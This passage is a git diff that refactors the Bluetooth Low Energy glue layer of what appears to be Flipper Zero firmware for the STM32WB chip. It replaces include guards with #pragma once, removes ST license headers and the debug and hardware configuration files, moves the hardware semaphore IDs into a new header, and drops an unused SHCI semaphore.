© Copyright (c) 2020 STMicroelectronics. - * All rights reserved.

- * - * This software component is licensed by ST under Ultimate Liberty license - * SLA0044, the "License"; You may not use this file except in compliance with - * the License. You may obtain a copy of the License at: - * www.st.com/SLA0044 - * - ****************************************************************************** - */ - -/* Define to prevent recursive inclusion -------------------------------------*/ -#ifndef BLE_CONF_H -#define BLE_CONF_H +#pragma once #include "app_conf.h" -#ifndef __weak -#define __weak __attribute__((weak)) -#endif - -/****************************************************************************** - * - * BLE SERVICES CONFIGURATION - * blesvc - * - ******************************************************************************/ - -/** - * This setting shall be set to '1' if the device needs to support the Peripheral Role - * In the MS configuration, both BLE_CFG_PERIPHERAL and BLE_CFG_CENTRAL shall be set to '1' - */ -#define BLE_CFG_PERIPHERAL 1 - -/** - * This setting shall be set to '1' if the device needs to support the Central Role - * In the MS configuration, both BLE_CFG_PERIPHERAL and BLE_CFG_CENTRAL shall be set to '1' - */ -#define BLE_CFG_CENTRAL 0 - /** * There is one handler per service enabled * Note: There is no handler for the Device Information Service @@ -56,18 +12,3 @@ #define BLE_CFG_SVC_MAX_NBR_CB 7 #define BLE_CFG_CLT_MAX_NBR_CB 0 - -/****************************************************************************** - * GAP Service - Apprearance - ******************************************************************************/ - -#define BLE_CFG_UNKNOWN_APPEARANCE (0) -#define BLE_CFG_GAP_APPEARANCE (0x0086) - -/****************************************************************************** - * Over The Air Feature (OTA) - STM Proprietary - ******************************************************************************/ -#define BLE_CFG_OTA_REBOOT_CHAR 0 /**< REBOOT OTA MODE CHARACTERISTIC */ - -#endif /*BLE_CONF_H */ -/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/firmware/targets/f7/ble_glue/ble_const.h b/firmware/targets/f7/ble_glue/ble_const.h index 85f734b62c..1e6647d90f 100644 --- a/firmware/targets/f7/ble_glue/ble_const.h +++ b/firmware/targets/f7/ble_glue/ble_const.h @@ -1,22 +1,4 @@ -/***************************************************************************** - * @file ble_const.h - * @author MDG - * @brief This file contains the definitions which are compiler dependent. - ***************************************************************************** - * @attention - * - * Copyright (c) 2018-2022 STMicroelectronics. - * All rights reserved. - * - * This software is licensed under terms that can be found in the LICENSE file - * in the root directory of this software component. - * If no LICENSE file comes with this software, it is provided AS-IS. - * - ***************************************************************************** - */ - -#ifndef BLE_CONST_H__ -#define BLE_CONST_H__ +#pragma once #include #include @@ -115,5 +97,3 @@ extern int hci_send_req(struct hci_request* req, uint8_t async); #ifndef MAX #define MAX(a, b) (((a) > (b)) ? (a) : (b)) #endif - -#endif /* BLE_CONST_H__ */ diff --git a/firmware/targets/f7/ble_glue/ble_dbg_conf.h b/firmware/targets/f7/ble_glue/ble_dbg_conf.h index 8305f81061..6f70f09bee 100644 --- a/firmware/targets/f7/ble_glue/ble_dbg_conf.h +++ b/firmware/targets/f7/ble_glue/ble_dbg_conf.h @@ -1,199 +1 @@ -/** - ****************************************************************************** - * File Name : App/ble_dbg_conf.h - * Description : Debug configuration file for BLE Middleware. - * - ****************************************************************************** - * @attention - * - *

© Copyright (c) 2020 STMicroelectronics. - * All rights reserved.

- * - * This software component is licensed by ST under Ultimate Liberty license - * SLA0044, the "License"; You may not use this file except in compliance with - * the License. You may obtain a copy of the License at: - * www.st.com/SLA0044 - * - ****************************************************************************** - */ - -/* Define to prevent recursive inclusion -------------------------------------*/ -#ifndef __BLE_DBG_CONF_H -#define __BLE_DBG_CONF_H - -/** - * Enable or Disable traces from BLE - */ - -#define BLE_DBG_APP_EN 1 -#define BLE_DBG_DIS_EN 1 -#define BLE_DBG_HRS_EN 1 -#define BLE_DBG_SVCCTL_EN 1 -#define BLE_DBG_BLS_EN 1 -#define BLE_DBG_HTS_EN 1 -#define BLE_DBG_P2P_STM_EN 1 - -/** - * Macro definition - */ -#if(BLE_DBG_APP_EN != 0) -#define BLE_DBG_APP_MSG PRINT_MESG_DBG -#else -#define BLE_DBG_APP_MSG PRINT_NO_MESG -#endif - -#if(BLE_DBG_DIS_EN != 0) -#define BLE_DBG_DIS_MSG PRINT_MESG_DBG -#else -#define BLE_DBG_DIS_MSG PRINT_NO_MESG -#endif - -#if(BLE_DBG_HRS_EN != 0) -#define BLE_DBG_HRS_MSG PRINT_MESG_DBG -#else -#define BLE_DBG_HRS_MSG PRINT_NO_MESG -#endif - -#if(BLE_DBG_P2P_STM_EN != 0) -#define BLE_DBG_P2P_STM_MSG PRINT_MESG_DBG -#else -#define BLE_DBG_P2P_STM_MSG PRINT_NO_MESG -#endif - -#if(BLE_DBG_TEMPLATE_STM_EN != 0) -#define BLE_DBG_TEMPLATE_STM_MSG PRINT_MESG_DBG -#else -#define BLE_DBG_TEMPLATE_STM_MSG PRINT_NO_MESG -#endif - -#if(BLE_DBG_EDS_STM_EN != 0) -#define BLE_DBG_EDS_STM_MSG PRINT_MESG_DBG -#else -#define BLE_DBG_EDS_STM_MSG PRINT_NO_MESG -#endif - -#if(BLE_DBG_LBS_STM_EN != 0) -#define BLE_DBG_LBS_STM_MSG PRINT_MESG_DBG -#else -#define BLE_DBG_LBS_STM_MSG PRINT_NO_MESG -#endif - -#if(BLE_DBG_SVCCTL_EN != 0) -#define BLE_DBG_SVCCTL_MSG PRINT_MESG_DBG -#else -#define BLE_DBG_SVCCTL_MSG PRINT_NO_MESG -#endif - -#if(BLE_DBG_CTS_EN != 0) -#define BLE_DBG_CTS_MSG PRINT_MESG_DBG -#else -#define BLE_DBG_CTS_MSG PRINT_NO_MESG -#endif - -#if(BLE_DBG_HIDS_EN != 0) -#define BLE_DBG_HIDS_MSG PRINT_MESG_DBG -#else -#define BLE_DBG_HIDS_MSG PRINT_NO_MESG -#endif - -#if(BLE_DBG_PASS_EN != 0) -#define BLE_DBG_PASS_MSG PRINT_MESG_DBG -#else -#define BLE_DBG_PASS_MSG PRINT_NO_MESG -#endif - -#if(BLE_DBG_BLS_EN != 0) -#define BLE_DBG_BLS_MSG PRINT_MESG_DBG -#else -#define BLE_DBG_BLS_MSG PRINT_NO_MESG -#endif - -#if(BLE_DBG_HTS_EN != 0) -#define BLE_DBG_HTS_MSG PRINT_MESG_DBG -#else -#define BLE_DBG_HTS_MSG PRINT_NO_MESG -#endif - -#if(BLE_DBG_ANS_EN != 0) -#define BLE_DBG_ANS_MSG PRINT_MESG_DBG -#else -#define BLE_DBG_ANS_MSG PRINT_NO_MESG -#endif - -#if(BLE_DBG_ESS_EN != 0) -#define BLE_DBG_ESS_MSG PRINT_MESG_DBG -#else -#define BLE_DBG_ESS_MSG PRINT_NO_MESG -#endif - -#if(BLE_DBG_GLS_EN != 0) -#define BLE_DBG_GLS_MSG PRINT_MESG_DBG -#else -#define BLE_DBG_GLS_MSG PRINT_NO_MESG -#endif - -#if(BLE_DBG_BAS_EN != 0) -#define BLE_DBG_BAS_MSG PRINT_MESG_DBG -#else -#define BLE_DBG_BAS_MSG PRINT_NO_MESG -#endif - -#if(BLE_DBG_RTUS_EN != 0) -#define BLE_DBG_RTUS_MSG PRINT_MESG_DBG -#else -#define BLE_DBG_RTUS_MSG PRINT_NO_MESG -#endif - -#if(BLE_DBG_HPS_EN != 0) -#define BLE_DBG_HPS_MSG PRINT_MESG_DBG -#else -#define BLE_DBG_HPS_MSG PRINT_NO_MESG -#endif - -#if(BLE_DBG_TPS_EN != 0) -#define BLE_DBG_TPS_MSG PRINT_MESG_DBG -#else -#define BLE_DBG_TPS_MSG PRINT_NO_MESG -#endif - -#if(BLE_DBG_LLS_EN != 0) -#define BLE_DBG_LLS_MSG PRINT_MESG_DBG -#else -#define BLE_DBG_LLS_MSG PRINT_NO_MESG -#endif - -#if(BLE_DBG_IAS_EN != 0) -#define BLE_DBG_IAS_MSG PRINT_MESG_DBG -#else -#define BLE_DBG_IAS_MSG PRINT_NO_MESG -#endif - -#if(BLE_DBG_WSS_EN != 0) -#define BLE_DBG_WSS_MSG PRINT_MESG_DBG -#else -#define BLE_DBG_WSS_MSG PRINT_NO_MESG -#endif - -#if(BLE_DBG_LNS_EN != 0) -#define BLE_DBG_LNS_MSG PRINT_MESG_DBG -#else -#define BLE_DBG_LNS_MSG PRINT_NO_MESG -#endif - -#if(BLE_DBG_SCPS_EN != 0) -#define BLE_DBG_SCPS_MSG PRINT_MESG_DBG -#else -#define BLE_DBG_SCPS_MSG PRINT_NO_MESG -#endif - -#if(BLE_DBG_DTS_EN != 0) -#define BLE_DBG_DTS_MSG PRINT_MESG_DBG -#define BLE_DBG_DTS_BUF PRINT_LOG_BUFF_DBG -#else -#define BLE_DBG_DTS_MSG PRINT_NO_MESG -#define BLE_DBG_DTS_BUF PRINT_NO_MESG -#endif - -#endif /*__BLE_DBG_CONF_H */ - -/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ +#pragma once diff --git a/firmware/targets/f7/ble_glue/ble_glue.c b/firmware/targets/f7/ble_glue/ble_glue.c index 2c30612b54..5f129ba8ce 100644 --- a/firmware/targets/f7/ble_glue/ble_glue.c +++ b/firmware/targets/f7/ble_glue/ble_glue.c @@ -32,7 +32,6 @@ static uint8_t ble_glue_ble_spare_event_buff[sizeof(TL_PacketHeader_t) + TL_EVT_ typedef struct { FuriMutex* shci_mtx; - FuriSemaphore* shci_sem; FuriThread* thread; BleGlueStatus status; BleGlueKeyStorageChangedCallback callback; @@ -104,7 +103,6 @@ void ble_glue_init() { TL_Init(); ble_glue->shci_mtx = furi_mutex_alloc(FuriMutexTypeNormal); - ble_glue->shci_sem = furi_semaphore_alloc(1, 0); // FreeRTOS system task creation ble_glue->thread = furi_thread_alloc_ex("BleShciDriver", 1024, ble_glue_shci_thread, ble_glue); @@ -393,7 +391,6 @@ void ble_glue_thread_stop() { furi_thread_free(ble_glue->thread); // Free resources furi_mutex_free(ble_glue->shci_mtx); - furi_semaphore_free(ble_glue->shci_sem); ble_glue_clear_shared_memory(); free(ble_glue); ble_glue = NULL; @@ -427,22 +424,6 @@ void shci_notify_asynch_evt(void* pdata) { } } -void shci_cmd_resp_release(uint32_t flag) { - UNUSED(flag); - if(ble_glue) { - furi_semaphore_release(ble_glue->shci_sem); - } -} - -void shci_cmd_resp_wait(uint32_t timeout) { - UNUSED(timeout); - if(ble_glue) { - furi_hal_power_insomnia_enter(); - furi_semaphore_acquire(ble_glue->shci_sem, FuriWaitForever); - furi_hal_power_insomnia_exit(); - } -} - bool ble_glue_reinit_c2() { return SHCI_C2_Reinit() == SHCI_Success; } diff --git a/firmware/targets/f7/ble_glue/compiler.h b/firmware/targets/f7/ble_glue/compiler.h index 98a93d7126..1d32c2a2ed 100644 --- a/firmware/targets/f7/ble_glue/compiler.h +++ b/firmware/targets/f7/ble_glue/compiler.h @@ -1,22 +1,4 @@ -/***************************************************************************** - * @file compiler.h - * @author MDG - * @brief This file contains the definitions which are compiler dependent. - ***************************************************************************** - * @attention - * - * Copyright (c) 2018-2023 STMicroelectronics. - * All rights reserved. - * - * This software is licensed under terms that can be found in the LICENSE file - * in the root directory of this software component. - * If no LICENSE file comes with this software, it is provided AS-IS. - * - ***************************************************************************** - */ - -#ifndef COMPILER_H__ -#define COMPILER_H__ +#pragma once #ifndef __PACKED_STRUCT #define __PACKED_STRUCT PACKED(struct) @@ -154,5 +136,3 @@ #endif #endif #endif - -#endif /* COMPILER_H__ */ diff --git a/firmware/targets/f7/ble_glue/hsem_map.h b/firmware/targets/f7/ble_glue/hsem_map.h new file mode 100644 index 0000000000..9a5f51d204 --- /dev/null +++ b/firmware/targets/f7/ble_glue/hsem_map.h @@ -0,0 +1,81 @@ +#pragma once + +/****************************************************************************** + * Semaphores + * THIS SHALL NO BE CHANGED AS THESE SEMAPHORES ARE USED AS WELL ON THE CM0+ + *****************************************************************************/ +/** +* Index of the semaphore used the prevent conflicts after standby sleep. +* Each CPUs takes this semaphore at standby wakeup until conflicting elements are restored. +*/ +#define CFG_HW_PWR_STANDBY_SEMID 10 +/** +* The CPU2 may be configured to store the Thread persistent data either in internal NVM storage on CPU2 or in +* SRAM2 buffer provided by the user application. This can be configured with the system command SHCI_C2_Config() +* When the CPU2 is requested to store persistent data in SRAM2, it can write data in this buffer at any time when needed. +* In order to read consistent data with the CPU1 from the SRAM2 buffer, the flow should be: +* + CPU1 takes CFG_HW_THREAD_NVM_SRAM_SEMID semaphore +* + CPU1 reads all persistent data from SRAM2 (most of the time, the goal is to write these data into an NVM managed by CPU1) +* + CPU1 releases CFG_HW_THREAD_NVM_SRAM_SEMID semaphore +* CFG_HW_THREAD_NVM_SRAM_SEMID semaphore makes sure CPU2 does not update the persistent data in SRAM2 at the same time CPU1 is reading them. +* There is no timing constraint on how long this semaphore can be kept. +*/ +#define CFG_HW_THREAD_NVM_SRAM_SEMID 9 + +/** +* The CPU2 may be configured to store the BLE persistent data either in internal NVM storage on CPU2 or in +* SRAM2 buffer provided by the user application. This can be configured with the system command SHCI_C2_Config() +* When the CPU2 is requested to store persistent data in SRAM2, it can write data in this buffer at any time when needed. +* In order to read consistent data with the CPU1 from the SRAM2 buffer, the flow should be: +* + CPU1 takes CFG_HW_BLE_NVM_SRAM_SEMID semaphore +* + CPU1 reads all persistent data from SRAM2 (most of the time, the goal is to write these data into an NVM managed by CPU1) +* + CPU1 releases CFG_HW_BLE_NVM_SRAM_SEMID semaphore +* CFG_HW_BLE_NVM_SRAM_SEMID semaphore makes sure CPU2 does not update the persistent data in SRAM2 at the same time CPU1 is reading them. +* There is no timing constraint on how long this semaphore can be kept. +*/ +#define CFG_HW_BLE_NVM_SRAM_SEMID 8 + +/** +* Index of the semaphore used by CPU2 to prevent the CPU1 to either write or erase data in flash +* The CPU1 shall not either write or erase in flash when this semaphore is taken by the CPU2 +* When the CPU1 needs to either write or erase in flash, it shall first get the semaphore and release it just +* after writing a raw (64bits data) or erasing one sector. +* Once the Semaphore has been released, there shall be at least 1us before it can be taken again. This is required +* to give the opportunity to CPU2 to take it. +* On v1.4.0 and older CPU2 wireless firmware, this semaphore is unused and CPU2 is using PES bit. +* By default, CPU2 is using the PES bit to protect its timing. The CPU1 may request the CPU2 to use the semaphore +* instead of the PES bit by sending the system command SHCI_C2_SetFlashActivityControl() +*/ +#define CFG_HW_BLOCK_FLASH_REQ_BY_CPU2_SEMID 7 + +/** +* Index of the semaphore used by CPU1 to prevent the CPU2 to either write or erase data in flash +* In order to protect its timing, the CPU1 may get this semaphore to prevent the CPU2 to either +* write or erase in flash (as this will stall both CPUs) +* The PES bit shall not be used as this may stall the CPU2 in some cases. +*/ +#define CFG_HW_BLOCK_FLASH_REQ_BY_CPU1_SEMID 6 + +/** +* Index of the semaphore used to manage the CLK48 clock configuration +* When the USB is required, this semaphore shall be taken before configuring te CLK48 for USB +* and should be released after the application switch OFF the clock when the USB is not used anymore +* When using the RNG, it is good enough to use CFG_HW_RNG_SEMID to control CLK48. +* More details in AN5289 +*/ +#define CFG_HW_CLK48_CONFIG_SEMID 5 + +/* Index of the semaphore used to manage the entry Stop Mode procedure */ +#define CFG_HW_ENTRY_STOP_MODE_SEMID 4 + +/* Index of the semaphore used to access the RCC */ +#define CFG_HW_RCC_SEMID 3 + +/* Index of the semaphore used to access the FLASH */ +#define CFG_HW_FLASH_SEMID 2 + +/* Index of the semaphore used to access the PKA */ +#define CFG_HW_PKA_SEMID 1 + +/* Index of the semaphore used to access the RNG */ +#define CFG_HW_RNG_SEMID 0 diff --git a/firmware/targets/f7/ble_glue/hw_conf.h b/firmware/targets/f7/ble_glue/hw_conf.h deleted file mode 100644 index bf18a7d0e5..0000000000 --- a/firmware/targets/f7/ble_glue/hw_conf.h +++ /dev/null @@ -1,231 +0,0 @@ -/* USER CODE BEGIN Header */ -/** - ****************************************************************************** - * @file hw_conf.h - * @author MCD Application Team - * @brief Configuration of hardware interface - ****************************************************************************** - * @attention - * - *

© Copyright (c) 2019 STMicroelectronics. - * All rights reserved.

- * - * This software component is licensed by ST under Ultimate Liberty license - * SLA0044, the "License"; You may not use this file except in compliance with - * the License. You may obtain a copy of the License at: - * www.st.com/SLA0044 - * - ****************************************************************************** - */ -/* USER CODE END Header */ - -/* Define to prevent recursive inclusion -------------------------------------*/ -#ifndef HW_CONF_H -#define HW_CONF_H - -#include "FreeRTOSConfig.h" - -/****************************************************************************** - * Semaphores - * THIS SHALL NO BE CHANGED AS THESE SEMAPHORES ARE USED AS WELL ON THE CM0+ - *****************************************************************************/ -/** -* Index of the semaphore used the prevent conflicts after standby sleep. -* Each CPUs takes this semaphore at standby wakeup until conclicting elements are restored. -*/ -#define CFG_HW_PWR_STANDBY_SEMID 10 -/** -* The CPU2 may be configured to store the Thread persistent data either in internal NVM storage on CPU2 or in -* SRAM2 buffer provided by the user application. This can be configured with the system command SHCI_C2_Config() -* When the CPU2 is requested to store persistent data in SRAM2, it can write data in this buffer at any time when needed. -* In order to read consistent data with the CPU1 from the SRAM2 buffer, the flow should be: -* + CPU1 takes CFG_HW_THREAD_NVM_SRAM_SEMID semaphore -* + CPU1 reads all persistent data from SRAM2 (most of the time, the goal is to write these data into an NVM managed by CPU1) -* + CPU1 releases CFG_HW_THREAD_NVM_SRAM_SEMID semaphore -* CFG_HW_THREAD_NVM_SRAM_SEMID semaphore makes sure CPU2 does not update the persistent data in SRAM2 at the same time CPU1 is reading them. -* There is no timing constraint on how long this semaphore can be kept. -*/ -#define CFG_HW_THREAD_NVM_SRAM_SEMID 9 - -/** -* The CPU2 may be configured to store the BLE persistent data either in internal NVM storage on CPU2 or in -* SRAM2 buffer provided by the user application. This can be configured with the system command SHCI_C2_Config() -* When the CPU2 is requested to store persistent data in SRAM2, it can write data in this buffer at any time when needed. -* In order to read consistent data with the CPU1 from the SRAM2 buffer, the flow should be: -* + CPU1 takes CFG_HW_BLE_NVM_SRAM_SEMID semaphore -* + CPU1 reads all persistent data from SRAM2 (most of the time, the goal is to write these data into an NVM managed by CPU1) -* + CPU1 releases CFG_HW_BLE_NVM_SRAM_SEMID semaphore -* CFG_HW_BLE_NVM_SRAM_SEMID semaphore makes sure CPU2 does not update the persistent data in SRAM2 at the same time CPU1 is reading them. -* There is no timing constraint on how long this semaphore can be kept. -*/ -#define CFG_HW_BLE_NVM_SRAM_SEMID 8 - -/** -* Index of the semaphore used by CPU2 to prevent the CPU1 to either write or erase data in flash -* The CPU1 shall not either write or erase in flash when this semaphore is taken by the CPU2 -* When the CPU1 needs to either write or erase in flash, it shall first get the semaphore and release it just -* after writing a raw (64bits data) or erasing one sector. -* Once the Semaphore has been released, there shall be at least 1us before it can be taken again. This is required -* to give the opportunity to CPU2 to take it. -* On v1.4.0 and older CPU2 wireless firmware, this semaphore is unused and CPU2 is using PES bit. -* By default, CPU2 is using the PES bit to protect its timing. The CPU1 may request the CPU2 to use the semaphore -* instead of the PES bit by sending the system command SHCI_C2_SetFlashActivityControl() -*/ -#define CFG_HW_BLOCK_FLASH_REQ_BY_CPU2_SEMID 7 - -/** -* Index of the semaphore used by CPU1 to prevent the CPU2 to either write or erase data in flash -* In order to protect its timing, the CPU1 may get this semaphore to prevent the CPU2 to either -* write or erase in flash (as this will stall both CPUs) -* The PES bit shall not be used as this may stall the CPU2 in some cases. -*/ -#define CFG_HW_BLOCK_FLASH_REQ_BY_CPU1_SEMID 6 - -/** -* Index of the semaphore used to manage the CLK48 clock configuration -* When the USB is required, this semaphore shall be taken before configuring te CLK48 for USB -* and should be released after the application switch OFF the clock when the USB is not used anymore -* When using the RNG, it is good enough to use CFG_HW_RNG_SEMID to control CLK48. -* More details in AN5289 -*/ -#define CFG_HW_CLK48_CONFIG_SEMID 5 - -/* Index of the semaphore used to manage the entry Stop Mode procedure */ -#define CFG_HW_ENTRY_STOP_MODE_SEMID 4 - -/* Index of the semaphore used to access the RCC */ -#define CFG_HW_RCC_SEMID 3 - -/* Index of the semaphore used to access the FLASH */ -#define CFG_HW_FLASH_SEMID 2 - -/* Index of the semaphore used to access the PKA */ -#define CFG_HW_PKA_SEMID 1 - -/* Index of the semaphore used to access the RNG */ -#define CFG_HW_RNG_SEMID 0 - -/****************************************************************************** - * HW TIMER SERVER - *****************************************************************************/ -/** - * The user may define the maximum number of virtual timers supported. - * It shall not exceed 255 - */ -#define CFG_HW_TS_MAX_NBR_CONCURRENT_TIMER 6 - -/** - * The user may define the priority in the NVIC of the RTC_WKUP interrupt handler that is used to manage the - * wakeup timer. - * This setting is the preemptpriority part of the NVIC. - */ -#define CFG_HW_TS_NVIC_RTC_WAKEUP_IT_PREEMPTPRIO \ - (configLIBRARY_MAX_SYSCALL_INTERRUPT_PRIORITY + 1) /* FreeRTOS requirement */ - -/** - * The user may define the priority in the NVIC of the RTC_WKUP interrupt handler that is used to manage the - * wakeup timer. - * This setting is the subpriority part of the NVIC. It does not exist on all processors. When it is not supported - * on the CPU, the setting is ignored - */ -#define CFG_HW_TS_NVIC_RTC_WAKEUP_IT_SUBPRIO 0 - -/** - * Define a critical section in the Timer server - * The Timer server does not support the API to be nested - * The Application shall either: - * a) Ensure this will never happen - * b) Define the critical section - * The default implementations is masking all interrupts using the PRIMASK bit - * The TimerServer driver uses critical sections to avoid context corruption. This is achieved with the macro - * TIMER_ENTER_CRITICAL_SECTION and TIMER_EXIT_CRITICAL_SECTION. When CFG_HW_TS_USE_PRIMASK_AS_CRITICAL_SECTION is set - * to 1, all STM32 interrupts are masked with the PRIMASK bit of the CortexM CPU. It is possible to use the BASEPRI - * register of the CortexM CPU to keep allowed some interrupts with high priority. In that case, the user shall - * re-implement TIMER_ENTER_CRITICAL_SECTION and TIMER_EXIT_CRITICAL_SECTION and shall make sure that no TimerServer - * API are called when the TIMER critical section is entered - */ -#define CFG_HW_TS_USE_PRIMASK_AS_CRITICAL_SECTION 1 - -/** - * This value shall reflect the maximum delay there could be in the application between the time the RTC interrupt - * is generated by the Hardware and the time when the RTC interrupt handler is called. This time is measured in - * number of RTCCLK ticks. - * A relaxed timing would be 10ms - * When the value is too short, the timerserver will not be able to count properly and all timeout may be random. - * When the value is too long, the device may wake up more often than the most optimal configuration. However, the - * impact on power consumption would be marginal (unless the value selected is extremely too long). It is strongly - * recommended to select a value large enough to make sure it is not too short to ensure reliability of the system - * as this will have marginal impact on low power mode - */ -#define CFG_HW_TS_RTC_HANDLER_MAX_DELAY (10 * (LSI_VALUE / 1000)) - -/** - * Interrupt ID in the NVIC of the RTC Wakeup interrupt handler - * It shall be type of IRQn_Type - */ -#define CFG_HW_TS_RTC_WAKEUP_HANDLER_ID RTC_WKUP_IRQn - -/****************************************************************************** - * HW UART - *****************************************************************************/ -#define CFG_HW_LPUART1_ENABLED 0 -#define CFG_HW_LPUART1_DMA_TX_SUPPORTED 0 - -#define CFG_HW_USART1_ENABLED 1 -#define CFG_HW_USART1_DMA_TX_SUPPORTED 1 - -/** - * UART1 - */ -#define CFG_HW_USART1_PREEMPTPRIORITY 0x0F -#define CFG_HW_USART1_SUBPRIORITY 0 - -/** < The application shall check the selected source clock is enable */ -#define CFG_HW_USART1_SOURCE_CLOCK RCC_USART1CLKSOURCE_SYSCLK - -#define CFG_HW_USART1_BAUDRATE 115200 -#define CFG_HW_USART1_WORDLENGTH UART_WORDLENGTH_8B -#define CFG_HW_USART1_STOPBITS UART_STOPBITS_1 -#define CFG_HW_USART1_PARITY UART_PARITY_NONE -#define CFG_HW_USART1_HWFLOWCTL UART_HWCONTROL_NONE -#define CFG_HW_USART1_MODE UART_MODE_TX_RX -#define CFG_HW_USART1_ADVFEATUREINIT UART_ADVFEATURE_NO_INIT -#define CFG_HW_USART1_OVERSAMPLING UART_OVERSAMPLING_8 - -#define CFG_HW_USART1_TX_PORT_CLK_ENABLE __HAL_RCC_GPIOB_CLK_ENABLE -#define CFG_HW_USART1_TX_PORT GPIOB -#define CFG_HW_USART1_TX_PIN GPIO_PIN_6 -#define CFG_HW_USART1_TX_MODE GPIO_MODE_AF_PP -#define CFG_HW_USART1_TX_PULL GPIO_NOPULL -#define CFG_HW_USART1_TX_SPEED GPIO_SPEED_FREQ_VERY_HIGH -#define CFG_HW_USART1_TX_ALTERNATE GPIO_AF7_USART1 - -#define CFG_HW_USART1_RX_PORT_CLK_ENABLE __HAL_RCC_GPIOB_CLK_ENABLE -#define CFG_HW_USART1_RX_PORT GPIOB -#define CFG_HW_USART1_RX_PIN GPIO_PIN_7 -#define CFG_HW_USART1_RX_MODE GPIO_MODE_AF_PP -#define CFG_HW_USART1_RX_PULL GPIO_NOPULL -#define CFG_HW_USART1_RX_SPEED GPIO_SPEED_FREQ_VERY_HIGH -#define CFG_HW_USART1_RX_ALTERNATE GPIO_AF7_USART1 - -#define CFG_HW_USART1_CTS_PORT_CLK_ENABLE __HAL_RCC_GPIOA_CLK_ENABLE -#define CFG_HW_USART1_CTS_PORT GPIOA -#define CFG_HW_USART1_CTS_PIN GPIO_PIN_11 -#define CFG_HW_USART1_CTS_MODE GPIO_MODE_AF_PP -#define CFG_HW_USART1_CTS_PULL GPIO_PULLDOWN -#define CFG_HW_USART1_CTS_SPEED GPIO_SPEED_FREQ_VERY_HIGH -#define CFG_HW_USART1_CTS_ALTERNATE GPIO_AF7_USART1 - -#define CFG_HW_USART1_DMA_TX_PREEMPTPRIORITY 0x0F -#define CFG_HW_USART1_DMA_TX_SUBPRIORITY 0 - -#define CFG_HW_USART1_DMAMUX_CLK_ENABLE __HAL_RCC_DMAMUX1_CLK_ENABLE -#define CFG_HW_USART1_DMA_CLK_ENABLE __HAL_RCC_DMA2_CLK_ENABLE -#define CFG_HW_USART1_TX_DMA_REQ DMA_REQUEST_USART1_TX -#define CFG_HW_USART1_TX_DMA_CHANNEL DMA2_Channel4 -#define CFG_HW_USART1_TX_DMA_IRQn DMA2_Channel4_IRQn -#define CFG_HW_USART1_DMA_TX_IRQHandler DMA2_Channel4_IRQHandler - -#endif /*HW_CONF_H */ - -/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/firmware/targets/f7/ble_glue/hw_if.h b/firmware/targets/f7/ble_glue/hw_if.h deleted file mode 100644 index a0ac23df37..0000000000 --- a/firmware/targets/f7/ble_glue/hw_if.h +++ /dev/null @@ -1,102 +0,0 @@ -/* USER CODE BEGIN Header */ -/** - ****************************************************************************** - * @file hw_if.h - * @author MCD Application Team - * @brief Hardware Interface - ****************************************************************************** - * @attention - * - *

© Copyright (c) 2019 STMicroelectronics. - * All rights reserved.

- * - * This software component is licensed by ST under Ultimate Liberty license - * SLA0044, the "License"; You may not use this file except in compliance with - * the License. You may obtain a copy of the License at: - * www.st.com/SLA0044 - * - ****************************************************************************** - */ -/* USER CODE END Header */ - -/* Define to prevent recursive inclusion -------------------------------------*/ -#ifndef HW_IF_H -#define HW_IF_H - -#ifdef __cplusplus -extern "C" { -#endif - -/* Includes ------------------------------------------------------------------*/ -#include "stm32wbxx.h" -#include "stm32wbxx_ll_exti.h" -#include "stm32wbxx_ll_system.h" -#include "stm32wbxx_ll_rcc.h" -#include "stm32wbxx_ll_ipcc.h" -#include "stm32wbxx_ll_bus.h" -#include "stm32wbxx_ll_pwr.h" -#include "stm32wbxx_ll_cortex.h" -#include "stm32wbxx_ll_utils.h" -#include "stm32wbxx_ll_hsem.h" -#include "stm32wbxx_ll_gpio.h" -#include "stm32wbxx_ll_rtc.h" - -#ifdef USE_STM32WBXX_USB_DONGLE -#include "stm32wbxx_usb_dongle.h" -#endif -#ifdef USE_STM32WBXX_NUCLEO -#include "stm32wbxx_nucleo.h" -#endif -#ifdef USE_X_NUCLEO_EPD -#include "x_nucleo_epd.h" -#endif - -/* Private includes ----------------------------------------------------------*/ -/* USER CODE BEGIN Includes */ - -/* USER CODE END Includes */ - -/****************************************************************************** - * HW UART - ******************************************************************************/ -typedef enum { - hw_uart1, - hw_uart2, - hw_lpuart1, -} hw_uart_id_t; - -typedef enum { - hw_uart_ok, - hw_uart_error, - hw_uart_busy, - hw_uart_to, -} hw_status_t; - -void HW_UART_Init(hw_uart_id_t hw_uart_id); -void HW_UART_Receive_IT( - hw_uart_id_t hw_uart_id, - uint8_t* pData, - uint16_t Size, - void (*Callback)(void)); -void HW_UART_Transmit_IT( - hw_uart_id_t hw_uart_id, - uint8_t* pData, - uint16_t Size, - void (*Callback)(void)); -hw_status_t - HW_UART_Transmit(hw_uart_id_t hw_uart_id, uint8_t* p_data, uint16_t size, uint32_t timeout); -hw_status_t HW_UART_Transmit_DMA( - hw_uart_id_t hw_uart_id, - uint8_t* p_data, - uint16_t size, - void (*Callback)(void)); -void HW_UART_Interrupt_Handler(hw_uart_id_t hw_uart_id); -void HW_UART_DMA_Interrupt_Handler(hw_uart_id_t hw_uart_id); - -#ifdef __cplusplus -} -#endif - -#endif /*HW_IF_H */ - -/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/ diff --git a/firmware/targets/f7/ble_glue/hw_ipcc.c b/firmware/targets/f7/ble_glue/hw_ipcc.c index 7c84df09fe..c2397f3510 100644 --- a/firmware/targets/f7/ble_glue/hw_ipcc.c +++ b/firmware/targets/f7/ble_glue/hw_ipcc.c @@ -1,160 +1,52 @@ -/** - ****************************************************************************** - * File Name : Target/hw_ipcc.c - * Description : Hardware IPCC source file for STM32WPAN Middleware. - * - ****************************************************************************** - * @attention - * - *

© Copyright (c) 2020 STMicroelectronics. - * All rights reserved.

